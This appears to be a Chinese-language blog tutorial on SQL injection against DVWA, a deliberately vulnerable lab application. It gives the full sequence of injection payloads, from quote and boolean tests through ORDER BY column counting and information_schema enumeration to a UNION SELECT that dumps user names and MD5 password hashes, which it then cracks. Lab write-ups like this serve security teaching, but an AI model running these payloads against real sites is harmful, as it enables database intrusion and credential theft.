web渗透测试从0到1玩转网络安全

DVWA之“SQL注入”

2019-08-13  本文已影响1人  求余的小屋
正常页面

判断注入类型

正常输入数字查询信息,下图为为输入3时,显示的信息。

UserID=3

数字后面,加上单引号测试

http://www.dvwa.com/vulnerabilities/sqli/?id=1'&Submit=Submit#

得到报错,不过还不能确定是字符型,还是数字型注入。

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1

去掉 id=1 后的 “单引号” 继续用布尔值测试

布尔值

①:?id=1 and 1=1&Submit=Submit#

②:?id=1 and 1=2&Submit=Submit#

在正常的查询语句后,加上"and 1=1""and 1=2"后,页面仍然正常显示,并正常查询出了用户基本信息。

布尔值判断

如果是数字型注入,id=1 后拼接 “and 1=2”后, 页面应该显示异常,或者有报错信息。

所以,基本确定,这是一个字符型注入,注入的语句,要采用闭合单引号方法,使之带入后端查询。

判断当前页面,读取表的字段数量

①:'+order by 3--+

②:'+order by 4--+

order by 2:页面正常

页面正常

order by 3:页面异常,报错

order by判断字段数

确认信息在当前页面,显示的位置

'+union select 1,2--+

确认回显位置

'+union select database(),version()--+

获取数据库名称、版本

读取当前页面,使用的数据库、表

'+union+select table_schema,table_name
from+information_schema.tables
where+table_schema=database()--+

获取dvwa下的表

读取users表的所有字段

'+union select table_name,column_name
from information_schema.columns
where table_schema=database() and table_name='users'--+

获取users表内的字段

我们看到了 “user”,“password” 字段,这两列里面,包含的内容这就是我们得目标了。

接下来就要从users表中,读取这两个字段得内容了。

读取用户名和密码

' union select user,password from dvwa.users--+

读取字段内的信息

密码被加密保存,目测(滑稽)md5加密

解密md5,得到登陆密码

admin:5f4dcc3b5aa765d61d8327deb882cf99(password)

gordonb:e99a18c428cb38d5f260853678922e03(abc123)

1337:8d3533d75ae2c3966d7e0d4fcc69216b(charley)

pablo:0d107d09f5bbe40cade3de5c71e9e9b7(letmein)

smithy:5f4dcc3b5aa765d61d8327deb882cf99(password)

总结

上一篇 下一篇

猜你喜欢

热点阅读